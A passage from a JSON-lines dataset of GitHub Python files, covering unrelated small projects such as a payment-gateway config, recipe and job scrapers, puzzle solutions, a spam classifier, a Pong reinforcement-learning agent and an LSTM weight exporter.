ParaGen(Arc,Node,mu_b,mu_c,sigma_b,sigma_c,unif_loca_b,unif_loca_c,unif_scal_b,unif_scal_c,tri_left_b,tri_left_c,tri_right_b,tri_right_c,gamma_shap_b,gamma_shap_c,gamma_scal_b,gamma_scal_c,tnormal_left_b,tnormal_left_c,tnormal_right_b,tnormal_right_c,theta_b,theta_c,cost_b,cost_c,nonzero_list)\n\tM_mu,M_sigma,M_unif_loca,M_unif_scal,M_tri_a,M_tri_b,M_tri_c,M_gamma_shap,M_gamma_scal,M_tnormal_a,M_tnormal_b,M_theta = par.paragenerate()\n\tsublist = [8]\n\tMdst = par.dstr_gen(sublist)\n\tEY_tri_test = EYdifference(N_repl,Arc,Node,G,dictionary,inform,net_struct,nonzero_list,M_mu,M_sigma,M_unif_loca,M_unif_scal,M_tri_a,M_tri_b,M_tri_c,M_gamma_shap,M_gamma_scal,M_tnormal_a,M_tnormal_b,M_theta,Mdst,percent,order,low_bd)\n\tsubset_tri = EY_tri_test.subset_ca()\n\tsubarc_tri = len(subset_tri[0])\n\tEY_tri = EYdifference(N_repl,subarc_tri,Node,G,dictionary,inform,net_struct,subset_tri,M_mu,M_sigma,M_unif_loca,M_unif_scal,M_tri_a,M_tri_b,M_tri_c,M_gamma_shap,M_gamma_scal,M_tnormal_a,M_tnormal_b,M_theta,Mdst,percent,order,low_bd)\n\tdiff_mean0_t, diff_mean1_t, diff_mean2_t, diff_mean3_t, diff_rse0_t, diff_rse1_t, diff_rse2_t, diff_rse3_t, t0_t, t1_t, t2_t, t3_t, t_fd_t = EY_tri.EY_diff_estimate_seperate_compare()\n\t\n\tsublist = [9]\n\tMdst = par.dstr_gen(sublist)\n\tEY_pert_test = EYdifference(N_repl,Arc,Node,G,dictionary,inform,net_struct,nonzero_list,M_mu,M_sigma,M_unif_loca,M_unif_scal,M_tri_a,M_tri_b,M_tri_c,M_gamma_shap,M_gamma_scal,M_tnormal_a,M_tnormal_b,M_theta,Mdst,percent,order,low_bd)\n\tsubset_pert = EY_pert_test.subset_ca()\n\tsubarc_pert = len(subset_pert[0])\n\tEY_pert = EYdifference(N_repl,subarc_pert,Node,G,dictionary,inform,net_struct,subset_pert,M_mu,M_sigma,M_unif_loca,M_unif_scal,M_tri_a,M_tri_b,M_tri_c,M_gamma_shap,M_gamma_scal,M_tnormal_a,M_tnormal_b,M_theta,Mdst,percent,order,low_bd)\n\tdiff_mean0_p, diff_mean1_p, diff_mean2_p, diff_mean3_p, diff_rse0_p, diff_rse1_p, diff_rse2_p, diff_rse3_p, t0_p, t1_p, t2_p, t3_p, t_fd_p = EY_pert.EY_diff_estimate_seperate_compare()\n\n\timport xlwt\n\n\tbook = xlwt.Workbook(encoding=\"utf-8\")\n\n\tsheet1 = book.add_sheet(\"Triangular Dstr\")\n\tsheet1.write(0, 0, \"Node Number\")\n\tsheet1.write(0, 1, Node)\n\tsheet1.write(1, 0, \"Arc Number\")\n\tsheet1.write(1, 1, Arc)\n\n\tsheet1.write(3, 0, \"1st bias\")\n\tsheet1.write(3, 1, diff_mean0_t)\n\tsheet1.write(4, 0, \"2nd bias\")\n\tsheet1.write(4, 1, diff_mean1_t)\n\tsheet1.write(5, 0, \"3rd order bias\")\n\tsheet1.write(5, 1, diff_mean2_t)\n\tsheet1.write(6, 0, \"4th bias\")\n\tsheet1.write(6, 1, diff_mean3_t)\n\n\tsheet1.write(3,2,diff_rse0_t)\n\tsheet1.write(4,2,diff_rse1_t)\n\tsheet1.write(5,2,diff_rse2_t)\n\tsheet1.write(6,2,diff_rse3_t)\n\n\tsheet1.write(8, 0, \"1st time\")\n\tsheet1.write(8, 1, t0_t)\n\tsheet1.write(9, 0, \"2nd time\")\n\tsheet1.write(9, 1, t1_t)\n\tsheet1.write(10, 0, \"3rd time\")\n\tsheet1.write(10, 1, t2_t)\n\tsheet1.write(11, 0, \"4th time\")\n\tsheet1.write(11, 1, t3_t)\n\tsheet1.write(12, 0, \"fd time\")\n\tsheet1.write(12, 1, t_fd_t)\n\n\n\tsheet2 = book.add_sheet(\"PERT Dstr\")\n\n\tsheet2.write(0, 0, \"Node Number\")\n\tsheet2.write(0, 1, Node)\n\tsheet2.write(1, 0, \"Arc Number\")\n\tsheet2.write(1, 1, Arc)\n\n\tsheet2.write(3, 0, \"1st bias\")\n\tsheet2.write(3, 1, diff_mean0_p)\n\tsheet2.write(4, 0, \"2nd bias\")\n\tsheet2.write(4, 1, diff_mean1_p)\n\tsheet2.write(5, 0, \"3rd bias\")\n\tsheet2.write(5, 1, diff_mean2_p)\n\tsheet2.write(6, 0, \"4th bias\")\n\tsheet2.write(6, 1, diff_mean3_p)\n\n\tsheet2.write(3,2,diff_rse0_p)\n\tsheet2.write(4,2,diff_rse1_p)\n\tsheet2.write(5,2,diff_rse2_p)\n\tsheet2.write(6,2,diff_rse3_p)\n\n\tsheet2.write(8, 0, \"1st time\")\n\tsheet2.write(8, 1, t0_p)\n\tsheet2.write(9, 0, \"2nd time\")\n\tsheet2.write(9, 1, t1_p)\n\tsheet2.write(10, 0, \"3rd time\")\n\tsheet2.write(10, 1, t2_p)\n\tsheet2.write(11, 0, \"4th time\")\n\tsheet2.write(11, 1, t3_p)\n\tsheet2.write(12, 0, \"fd time\")\n\tsheet2.write(12, 1, t_fd_p)\n\n\tfilename = \"EY_diff_sublist\" + str(Node) + \"n\" + str(Arc) + \"a.xls\"\n\tbook.save(filename)\n\n\n\n\n\t\n\n\n\n\n\n","repo_name":"pwan02/SANs-sensitivity-optimization","sub_path":"EYdiff.py","file_name":"EYdiff.py","file_ext":"py","file_size_in_byte":14214,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"73003936516","text":"from django.conf import settings\n\nfrom django_zarinpal.exceptions import CallBackUrlNotSet, MerchantIdNotSet\n\nZARINPAL_WEBSERVICE = \"https://www.zarinpal.com/pg/services/WebGate/wsdl\"\nZARINPAL_START_GATEWAY = \"https://www.zarinpal.com/pg/StartPay/\"\nZARINPAL_VERIFY_TRANSACTION_VIEW = getattr(\n settings,\n \"ZARINPAL_VERIFY_TRANSACTION_VIEW\",\n \"django_zarinpal:default_verify_transaction\"\n)\nZARINPAL_SANDBOX = getattr(settings, \"ZARINPAL_SIMULATION\", False)\n\nZARINPAL_CALLBACK_URL = getattr(settings, \"ZARINPAL_CALLBACK_URL\", None)\nif not ZARINPAL_CALLBACK_URL:\n raise CallBackUrlNotSet(\"Specify ZARINPAL_CALLBACK_URL in settings\")\n\nZARINPAL_MERCHANT_ID = getattr(settings, \"ZARINPAL_MERCHANT_ID\", None)\nif not ZARINPAL_SANDBOX and not ZARINPAL_MERCHANT_ID:\n raise MerchantIdNotSet(\"Specify ZARINPAL_MERCHANT_ID in settings\")\n\nif ZARINPAL_SANDBOX:\n ZARINPAL_WEBSERVICE = \"https://sandbox.zarinpal.com/pg/services/WebGate/wsdl\"\n ZARINPAL_START_GATEWAY = \"https://sandbox.zarinpal.com/pg/StartPay/\"\n ZARINPAL_MERCHANT_ID = \"XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX\"\n","repo_name":"Glyphack/django-zarinpal","sub_path":"django_zarinpal/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1082,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"62"} +{"seq_id":"16788057670","text":"from functools import cmp_to_key\r\n\r\ndef isOrdered(left, right):\r\n for i in range(len(left)):\r\n \r\n if (i >= len(right)): return 1 #right side ran out\r\n \r\n if (isinstance(left[i], int) and isinstance(right[i], int)):\r\n if left[i] < right[i]:\r\n return -1\r\n elif left[i] > right[i]:\r\n return 1\r\n else:\r\n continue\r\n \r\n l,r = left[i],right[i]\r\n if (isinstance(l, int)): l = [l]\r\n if (isinstance(r, int)): r = [r]\r\n \r\n ordered = isOrdered(l, r)\r\n if (ordered != 0): return ordered\r\n \r\n if (len(left) < len(right)): return -1 #left side ran out\r\n \r\n return 0\r\n\r\ndsignals = [[[2]],[[6]]]\r\n\r\ninputs = open(\"day13\").read().splitlines()\r\ninputs = [eval(x) for x in inputs if x != \"\"]\r\ninputs.extend(dsignals)\r\ninputs.sort(key=cmp_to_key(isOrdered))\r\n\r\nprint((inputs.index(dsignals[0]) + 1) * (inputs.index(dsignals[1]) + 1))","repo_name":"Jenjenn/adventofcode2022","sub_path":"day13_2.py","file_name":"day13_2.py","file_ext":"py","file_size_in_byte":838,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"21029036275","text":"f = open('name.txt','r')\r\na = f.readlines()\r\nres=[]\r\nfor i in range(1,len(a)):\r\n s=a[i]\r\n s = list(s.split('\"'))\r\n s = s[1::2]\r\n s[0]=int(s[0])\r\n res.append(s)\r\nprint(res)\r\n\r\n# парсер в массив для большинства файлов(сначала надо а txt перевести)\r\n\r\n# для prices_history_daily надо\r\n# '\"' заменить на ';'\r\n# и убрать s = s[1::2]\r\n","repo_name":"PrOptproject/SciPy_theory","sub_path":"parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":422,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"27465515017","text":"from django.urls import path\nfrom . import views\n\napp_name = 'app'\n\nurlpatterns = [\n path('app_images', views.app_images, name='app_images'),\n path('get_cities', views.get_cities, name='get_cities'),\n path('complaint', views.complaint, name='complaint')\n]\n","repo_name":"tushar0305/nearmee","sub_path":"app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":265,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"21769808481","text":"from typing import List\n\nclass Solution:\n def numSmallerByFrequency(self, queries: List[str], words: List[str]) -> List[int]:\n def f(word: str) -> int:\n cnt, flag = 1, word[0]\n for ch in word[1:]:\n if ord(ch) < ord(flag):\n cnt, flag = 1, ch\n elif ch == flag:\n cnt += 1\n return cnt\n ans = []\n queries = [f(q) for q in queries]\n words = [f(w) for w in words]\n print(queries, words)\n words.sort(reverse=True)\n for q in queries:\n for i in range(len(words)):\n if q >= words[i]:\n ans.append(i)\n break\n elif i == len(words) - 1:\n ans.append(len(words))\n return ans\n\nqs = [\"cbd\"]\nws = [\"zaaaz\"]\ns = Solution()\nprint(s.numSmallerByFrequency(qs, ws))\n ","repo_name":"lihaojia24/leetcode","sub_path":"python/1170.py","file_name":"1170.py","file_ext":"py","file_size_in_byte":903,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"11237121619","text":"import json\nimport re\nfrom time import sleep\nfrom typing import Dict\n\nimport requests\nfrom bs4 import BeautifulSoup\n\nfrom elasticsearch_snack.properties import ALLRECIPES_SNACKS_PAGE_URL, \\\n RECIPES_COLLECTION_FILENAME\n\n\ndef scrap_allrecipes_recipe(url: str) -> Dict:\n \"\"\"This function scraps a recipe of Allrecipes, given its URL,\n and prepare a JSON file to index in Elasticsearch.\n\n :param url: the URL of the recipe\n :return: the recipe as a JSON-like dictionary\n :raise: ConnectionError, if the connection against Allrecipes crashes\n \"\"\"\n\n def filter_noisy_chars(text: str) -> str:\n \"\"\"Filter in a text new line symbols and excessive spaces\"\"\"\n return text.replace('\\n', '').replace(' ', '').strip()\n\n # Data schema\n title = ''\n description = ''\n ingredients = []\n calories = 0\n\n # Recipe dictionary\n recipe = dict()\n\n try:\n request = requests.get(url)\n if request.ok:\n html = request.text\n soup = BeautifulSoup(html, 'lxml')\n # Title\n title_section = soup.select('h1')\n # Description\n description_section = soup.select('.recipe-summary p')\n # Ingredients\n ingredients_section = soup.select('.ingredients-section')\n # Calories\n nutrition_section = soup.select('.recipe-nutrition-section')\n\n # Pass the data\n if title_section:\n title = filter_noisy_chars(title_section[0].text)\n\n if description_section:\n description = filter_noisy_chars(description_section[0].text)\n\n if ingredients_section:\n ingredient_list = ingredients_section[0].text.split('\\n')\n ingredient_list = [filter_noisy_chars(i)\n for i in ingredient_list]\n # Remove nulls\n ingredient_list = [i for i in ingredient_list if i]\n\n for ingredient in ingredient_list:\n ingredients.append(ingredient)\n\n if nutrition_section:\n nutrition_info = filter_noisy_chars(nutrition_section[0].text)\n calories = re.findall(r'(\\d+) calories', nutrition_info)[0]\n calories = int(calories)\n\n recipe = {'title': title,\n 'description': description,\n 'ingredients': ingredients,\n 'calories': calories}\n else:\n raise ConnectionError('Exception trying yo connect with Allrecipes')\n except Exception:\n raise Exception('Exception while parsing')\n finally:\n return recipe\n\n\ndef scrap_allrecipes_snack_recipes() -> None:\n \"\"\"This function scraps all the snack recipes of Allrecipes and saves\n the information to a JSON file to index in Elasticsearch.\n\n :raise: ConnectionError, if the connection against Allrecipes crashes\n \"\"\"\n\n # noinspection PyShadowingNames\n def save_json(new_data: json, filename: str) -> None:\n \"\"\"Function to save data to a JSON file, overwriting it if exists\"\"\"\n try:\n with open(filename, 'x') as f:\n json.dump(new_data, f, indent=4)\n except FileExistsError:\n with open(filename, 'w') as f:\n json.dump(new_data, f, indent=4)\n\n request = requests.get(ALLRECIPES_SNACKS_PAGE_URL)\n if request.ok:\n html = request.text\n soup = BeautifulSoup(html, 'lxml')\n links = soup.select('.fixed-recipe-card__h3 a')\n\n scrapped_texts = []\n for link in links:\n sleep(2)\n scrapped_texts.append(scrap_allrecipes_recipe(link['href']))\n\n save_json(scrapped_texts, RECIPES_COLLECTION_FILENAME)\n else:\n raise ConnectionError('Exception trying yo connect with Allrecipes')\n","repo_name":"bglezseoane/elasticsearch-snack","sub_path":"elasticsearch_snack/scrapper.py","file_name":"scrapper.py","file_ext":"py","file_size_in_byte":3840,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"13942449170","text":"BASE_URL = \"https://www.linkedin.com/jobs/search/?f_C=\"\nAND_CHAR = \"%2C\"\n\nCOMPANY_NAME = \"CompanyName\"\nTITLE_HEADER = \"Title\"\nJOB_ID = \"JobId\"\nPOSTED_AT = \"PostedAt\"\nLINK = \"Link\"\nCOMPANY_ID = \"CompanyId\"\nKEYWORD = \"Keyword\"\n\nOUTPUT_KEYS = [COMPANY_NAME, TITLE_HEADER, JOB_ID, POSTED_AT, LINK]\n\nDATE_FORMAT = \"%Y-%m-%d\"\n","repo_name":"mehmetgencol/linkedin-scraper","sub_path":"globals.py","file_name":"globals.py","file_ext":"py","file_size_in_byte":320,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"7207757007","text":"import os\nimport logging\nimport uuid\nimport json\n\nimport pytest\nimport github\n\nfrom tests.helpers.utils import push\n\nlog = logging.getLogger(__name__)\nlog.setLevel(logging.DEBUG)\n\n\n@pytest.fixture\ndef push_changes(mut_output, request):\n gh = github.Github(login_or_token=os.environ[\"GITHUB_TOKEN\"], retry=3)\n branch = f\"test-{uuid.uuid4()}\"\n repo = gh.get_repo(mut_output[\"repo_full_name\"])\n commit_id = push(repo, branch, request.param)\n\n yield {\n \"commit_id\": commit_id,\n \"base_commit_id\": repo.get_commit(commit_id).parents[-1].sha,\n \"branch\": branch,\n \"changes\": request.param,\n }\n\n log.debug(f\"Deleting branch: {branch}\")\n ref = repo.get_git_ref(f\"heads/{branch}\")\n ref.delete()\n\n\n@pytest.fixture\ndef mock_sf_cfg(mut_output):\n \"\"\"\n Overwrites Step Function State Machine placeholder name with name from Terraform module.\n See here for more info on mock config file:\n https://docs.aws.amazon.com/step-functions/latest/dg/sfn-local-mock-cfg-file.html\n \"\"\"\n log.info(\n \"Replacing placholder state machine name with: \"\n + mut_output[\"step_function_name\"]\n )\n mock_path = os.path.join(os.path.dirname(__file__), \"mock_sf_cfg.json\")\n with open(mock_path, \"r\") as f:\n cfg = json.load(f)\n\n cfg[\"StateMachines\"][mut_output[\"step_function_name\"]] = cfg[\"StateMachines\"].pop(\n \"Placeholder\"\n )\n\n with open(mock_path, \"w\") as f:\n json.dump(cfg, f, indent=2, sort_keys=True)\n\n yield mock_path\n\n log.info(\"Replacing state machine name back with placholder\")\n with open(mock_path, \"r\") as f:\n cfg = json.load(f)\n\n cfg[\"StateMachines\"][\"Placeholder\"] = cfg[\"StateMachines\"].pop(\n mut_output[\"step_function_name\"]\n )\n\n with open(mock_path, \"w\") as f:\n json.dump(cfg, f, indent=4, sort_keys=True)\n","repo_name":"marshall7m/terraform-aws-infrastructure-live-ci","sub_path":"tests/integration/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":1849,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"62"} +{"seq_id":"12837263144","text":"import torch\nimport torch.nn as nn\n\nclass FM(nn.Module):\n def __init__(self, num_feature, num_v_feature):\n # num_feature : dataset에서 변수의 개수 \n # num_v_feature : v 벡터의 feature, hyperparameter\n super(FM, self).__init__()\n self._w0 = nn.Parameter(torch.zeros(1))\n self._wi = nn.Parameter(torch.randn((num_feature)))\n self._vif = nn.Parameter(torch.randn((num_feature, num_v_feature)))\n \n\n def forward(self,input):\n # input = torch.FloatTensor(input)\n linear_terms = self._wi.matmul(input)\n interactions = 0.5 * ( sum( pow(input.matmul(self._vif),2) - pow(input,2).matmul(pow(self._vif,2)) ) )\n\n y_hat = torch.sigmoid(self._w0 + linear_terms + interactions)\n\n return y_hat","repo_name":"sung-won-kim/RecSys","sub_path":"RecSys/FM/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":751,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"82"} +{"seq_id":"71619410827","text":"#! /usr/bin/python3\n\nimport sys\nimport csv\nimport numpy as np\n\n\ndef main():\n \n with open(sys.argv[1]) as f:\n\n reader = csv.reader(f)\n \n header = reader.__next__()\n while header[0] != \"Freq(Hz)\":\n header = reader.__next__()\n \n print(\"freq[GHz], re(S11), im(S11), re(S12), im(S12) re(S21), im(S21), re(S22), im(S22)\")\n for row in reader:\n if row[0] == \"END\":\n break\n\n print(row[0], end=',')\n\n S11 = np.power(10,float(row[1])/20)\n S21 = np.power(10,float(row[2])/20)\n S12 = np.power(10,float(row[3])/20)\n S22 = np.power(10,float(row[4])/20)\n\n S11 = S11 * np.cos(float(row[5])/180*np.pi) + 1j * S11 * np.sin(float(row[5])/180*np.pi)\n S21 = S21 * np.cos(float(row[6])/180*np.pi) + 1j * S21 * np.sin(float(row[6])/180*np.pi)\n S12 = S12 * np.cos(float(row[7])/180*np.pi) + 1j * S12 * np.sin(float(row[7])/180*np.pi)\n S22 = S22 * np.cos(float(row[8])/180*np.pi) + 1j * S22 * np.sin(float(row[8])/180*np.pi)\n\n print(S11.real, end=',')\n print(S11.imag, end=',')\n print(S12.real, end=',')\n print(S12.imag, end=',')\n print(S21.real, end=',')\n print(S21.imag, end=',')\n print(S22.real, end=',')\n print(S22.imag)\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"yn4k4nishi/Sparam2Fparam","sub_path":"convert.py","file_name":"convert.py","file_ext":"py","file_size_in_byte":1417,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"28395620757","text":"import simplejson as json\n\n# Convert json to geojson\n\ndata = json.load(open(\"data/activities.json\"))\ndata = [x for x in data if len(x['start_latlng']) == 2]\n\ngeojson = {\n \"type\": \"FeatureCollection\",\n \"features\": [\n {\n \"type\": \"Feature\",\n \"geometry\": {\n \"type\": \"Point\",\n \"coordinates\": [d[\"start_latlng\"][1], d[\"start_latlng\"][0]],\n },\n \"properties\": d,\n } for d in data]\n}\n\n\noutput = open(\"activities.geojson\", 'w')\njson.dump(geojson, output)\n","repo_name":"johnphilipp/map-your-runs","sub_path":"utils/jsonToGeojson.py","file_name":"jsonToGeojson.py","file_ext":"py","file_size_in_byte":539,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"22469504939","text":"#Importing libraries\n\nimport os #To navigate between directories and files\nimport io #For file manipulation and management\nfrom pandas import DataFrame #To create dataframes to visualize data\nimport pandas as pd #For data visualisations\nfrom sklearn .feature_extraction.text import CountVectorizer #To count words in a given file\nfrom sklearn.naive_bayes import MultinomialNB #To implement Naive_Bayes_Classifier \nfrom sklearn.metrics import accuracy_score, precision_score, f1_score\n\n#Reading data and creating a dataframe\n\ndata = pd.read_csv(path/emails.csv)\ndata = DataFrame(data) #Creating a dataframe\ndata.head() #Printing the first five rows of the dataframe\nprint(data.shape) #Printing the shape of the dataframe\n\n#Preprocessing\ndata.drop_duplicates(inplace = True) #Deleting duplicates from the dataframe\nprint(data.shape) #Checking if the duplicates have been removed by printing out the shape\ndata['text'] = data['text'].map(lambda text: text[8:]) #Since every text message starts with 'SUBJECT', deleting that word \n #in every text row\n \nprint(data['text']) # Checking the new dataframe/text column\n\n\nfrom sklearn.model_selection import train_test_split #Splitting the dataset into train and test \nX_train, X_test, Y_train, Y_test = train_test_split(data['text'], data['spam'], test_size = 0.2, random_state = 10)\n\n\n#Building the model\nvectorizer = CountVectorizer() #Using the CountVectorizer() to count the frequency of every word\ncounts = vectorizer.fit_transform(X_train) #Counting the frequency and storing them in a list called counts\ntargets = Y_train #Creating targets for the classifier\nclassifier = MultinomialNB() #Creating the classifier model\nclassifier.fit(counts, targets) #Training the classifier\n\n\ndef test_func(predictions): #A function to predict the emails\n pred_class = []\n for preds in predictions:\n if preds == 1:\n pred_class.append(\"spam\")\n else:\n pred_class.append(\"ham\")\n return pred_class #returns a email consisting of predictions\n\n \n#Testing\nexamples = [\"congralutions! you've won a $100000\", \"Dear Sir, Will you be free tomorrow? This is to ask you regarding a meeting.\"]\nexample_counts = vectorizer.transform(examples)\npredictions = classifier.predict(example_counts) \nprint(test_func(predictions))\n\n\n#Model evaluation\nX_test_counts = vectorizer.transform(X_test)\nX_test_counts.shape\npreds = classifier.predict(X_test_counts)\nacc = accuracy_score(Y_test, preds)\nprecision = precision_score(Y_test, preds)\nf1 = f1_score(Y_test, preds)\nacc = acc * 100\nprecision = precision * 100\nprint(\"Mean accuracy: {} \\nPrecision: {} \\nF1_score: {}\".format(acc, precision, f1))\n","repo_name":"NIshant-Hegde/Data-Science","sub_path":"Spam_classifier_using _naive_bayes/Spam_classifier_using_Naive_Bayes.py","file_name":"Spam_classifier_using_Naive_Bayes.py","file_ext":"py","file_size_in_byte":3469,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"14869122452","text":"\r\nn = input(\"Entrer un nombre: \") #On affecte la valeur entrée par l'utilisateur dans la variable n\r\nn = int(n) #On récupère la valeur entrée et on convertit cela en integer\r\nv = 0\r\nfor i in range(1, n): #On appel une variable i qui va parcourir les valeur de 1 à n\r\n if n % i == 0: #On verifie le cas ppour n modulo i == 0 car ces valeurs sont des diviseurs de n\r\n v += i #v qui etait initialiser à 0 est incrementer par les diviseurs de n\r\n#on sort de la boucle for et on verifie\r\nif n == v: #si n == v alors n est un nombre parfait\r\n print(f\"{n} est un nombre parfait\") #alors n est un nombre parfait\r\nelse: #sinon\r\n print(f\"{n} n'est pas un nombre parfait\") #n n'est pas un nombre parfait","repo_name":"coder-avec-python/Pratique-Python","sub_path":"nombre_parfait/nombre_parfait.py","file_name":"nombre_parfait.py","file_ext":"py","file_size_in_byte":715,"program_lang":"python","lang":"fr","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"30975615806","text":"alphabet = {\n 1: 'A',\n 2: 'B',\n 3: 'C',\n 4: 'X',\n 10: 'Y',\n 'Z': 10,\n True: 'sdasd',\n False: 123123,\n None: 'dasdasd',\n}\n\nO_letter = alphabet.get('Z', None)\nif not bool(O_letter):\n print('NO O')\n\nfor key, value in alphabet.items(): # .keys() .values()\n print(f'Ключ: {key} Значение: {value}')","repo_name":"DrozhzhinD/schoolx-python-learning","sub_path":"lection_1/dict_test.py","file_name":"dict_test.py","file_ext":"py","file_size_in_byte":341,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"42359631162","text":"import gym\nimport numpy as np\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Conv2D, Flatten\nfrom keras.optimizers import Adam\nfrom collections import deque\nfrom tqdm import tqdm\nimport os\nimport random\n\nFILENAME = \"pong-model.h5\"\n\n\nclass Agent_Pong():\n\n def __init__(self, action_dim, state_dim, gamma=0.99, learning_rate=0.005, num_samples=32, load_from_file=False):\n self.action_dim = action_dim\n self.state_dim = state_dim\n self.gamma = gamma\n self.exploration_rate = 1\n self.exploration_min = 0.1\n self.exploration_decay = 0.9995\n self.learning_rate = learning_rate\n self.memory = deque(maxlen=1_000_000)\n self.num_samples = num_samples\n self.brain = self.init_brain(load_from_file)\n\n def init_brain(self, load_from_file):\n model = Sequential()\n model.add(Conv2D(16, 8, strides=(4, 4), activation='relu',\n input_shape=(160, 160, 4)))\n model.add(Conv2D(32, 4, strides=(2, 2), activation='relu'))\n model.add(Flatten())\n model.add(Dense(256, activation='linear'))\n model.add(Dense(self.action_dim, activation='linear'))\n model.compile(loss='mse', optimizer=Adam(\n learning_rate=self.learning_rate))\n if load_from_file and os.path.isfile(FILENAME):\n model.load_weights(FILENAME)\n self.exploration_rate = self.exploration_min\n return model\n\n def save_brain(self):\n self.brain.save(FILENAME)\n print(f\"[X] Saved brain in {FILENAME}\")\n\n def pick_action(self, state, rand=True):\n if rand and random.uniform(0, 1) < self.exploration_rate:\n return random.randrange(0, self.action_dim)\n return np.argmax(self.brain.predict(state)[0])\n\n def remember(self, state, action, reward, next_state, done):\n self.memory.append((state, action, reward, next_state, done))\n\n def learn(self):\n if len(self.memory) < self.num_samples:\n return\n\n minibatches = random.sample(self.memory, self.num_samples)\n\n for current_state, action, reward, next_state, done in minibatches:\n target = reward if done else reward + self.gamma * \\\n np.max(self.brain.predict(next_state)[0])\n\n target_q = self.brain.predict(current_state)\n target_q[0][action] = target\n\n self.brain.fit(current_state, target_q, verbose=0, epochs=1)\n\n if self.exploration_rate >= self.exploration_min:\n self.exploration_rate *= self.exploration_decay\n\n\nclass Pong():\n\n def __init__(self, episodes=100_000):\n self.env = gym.make(\"Pong-v0\").env\n self.episodes = episodes\n self.agent = Agent_Pong(self.env.action_space.n, (4, 160, 160))\n self.last_four_frames = deque(maxlen=4)\n\n # converts an rgb image to gray scale image\n def __rgb2gray(self, rgb_img):\n return np.dot(rgb_img, [0.2989, 0.5870, 0.1140])\n\n def __reduce_size(self, img):\n # remove score bar and bottom bar\n return img[34:194]\n\n def img2net(self, img):\n return self.__reduce_size(self.__rgb2gray(img))\n\n # phi function in Mnih et al paper\n def get_state(self):\n return np.array(self.last_four_frames).reshape((1, 160, 160, 4))\n\n def __add_frame(self, f):\n self.last_four_frames.append(self.img2net(f))\n\n def fit(self, visualize=False):\n\n pbar = tqdm(range(self.episodes))\n\n try:\n\n for e in pbar:\n\n # take the first four frames and convert them to gray scale and reduce size\n self.__add_frame(self.env.reset())\n for _ in range(3):\n action = self.env.action_space.sample()\n state, _, _, _ = self.env.step(action)\n self.__add_frame(state)\n\n done = False\n\n while not done:\n\n if visualize and e % 500 == 0:\n self.env.render()\n\n current_state = self.get_state()\n action = self.agent.pick_action(current_state)\n next_state, reward, done, _ = self.env.step(action)\n\n self.__add_frame(next_state)\n next_state = self.get_state()\n\n self.agent.remember(current_state, action,\n reward, next_state, done)\n\n pbar.set_description(f\"{reward}\")\n\n self.agent.learn()\n finally:\n self.agent.save_brain()\n\n\nif __name__ == \"__main__\":\n sim = Pong()\n sim.fit(visualize=False)\n","repo_name":"ramorimo/reinforcement-learning","sub_path":"deep_q_learning/pong/pong.py","file_name":"pong.py","file_ext":"py","file_size_in_byte":4645,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"27494400817","text":"import os\nimport json\nimport numpy as np\nimport tensorflow as tf\nfrom tensorflow import keras\n\n\ndef load_model(dir):\n with open(os.path.join(dir, 'train.json')) as config_file:\n config = json.load(config_file)\n\n model = keras.models.Sequential()\n model.add(keras.layers.LSTM(config['model']['cells'][0], input_dim=1))\n model.add(keras.layers.Dense(config['preparation']['out_buckets'], activation='softmax'))\n model.load_weights(os.path.join(dir, 'model.h5'))\n return model\n\n\ndef get_weights(model):\n num_lstm_cells = int(model.layers[0].weights[0].shape[1] // 4)\n\n lstm_input_weights = model.layers[0].get_weights()[0]\n lstm_output_weights = model.layers[0].get_weights()[1]\n lstm_biases = model.layers[0].get_weights()[2]\n dense_weights = model.layers[1].get_weights()[0]\n dense_biases = model.layers[1].get_weights()[1]\n\n result = {}\n result['W_ix'] = lstm_input_weights[:, :num_lstm_cells]\n result['W_fx'] = lstm_input_weights[:, num_lstm_cells : num_lstm_cells * 2]\n result['W_gx'] = lstm_input_weights[:, num_lstm_cells * 2 : num_lstm_cells * 3]\n result['W_ox'] = lstm_input_weights[:, num_lstm_cells * 3:]\n\n result['W_ih'] = lstm_output_weights[:, :num_lstm_cells]\n result['W_fh'] = lstm_output_weights[:, num_lstm_cells : num_lstm_cells * 2]\n result['W_gh'] = lstm_output_weights[:, num_lstm_cells * 2 : num_lstm_cells * 3]\n result['W_oh'] = lstm_output_weights[:, num_lstm_cells * 3:]\n\n result['b_i '] = lstm_biases[:num_lstm_cells]\n result['b_f '] = lstm_biases[num_lstm_cells : num_lstm_cells * 2]\n result['b_g '] = lstm_biases[num_lstm_cells * 2 : num_lstm_cells * 3]\n result['b_o '] = lstm_biases[num_lstm_cells * 3:]\n\n result['W_yh'] = dense_weights\n result['b_y'] = dense_biases\n\n return result\n\n\ndef save_weights(weights):\n for key in weights:\n 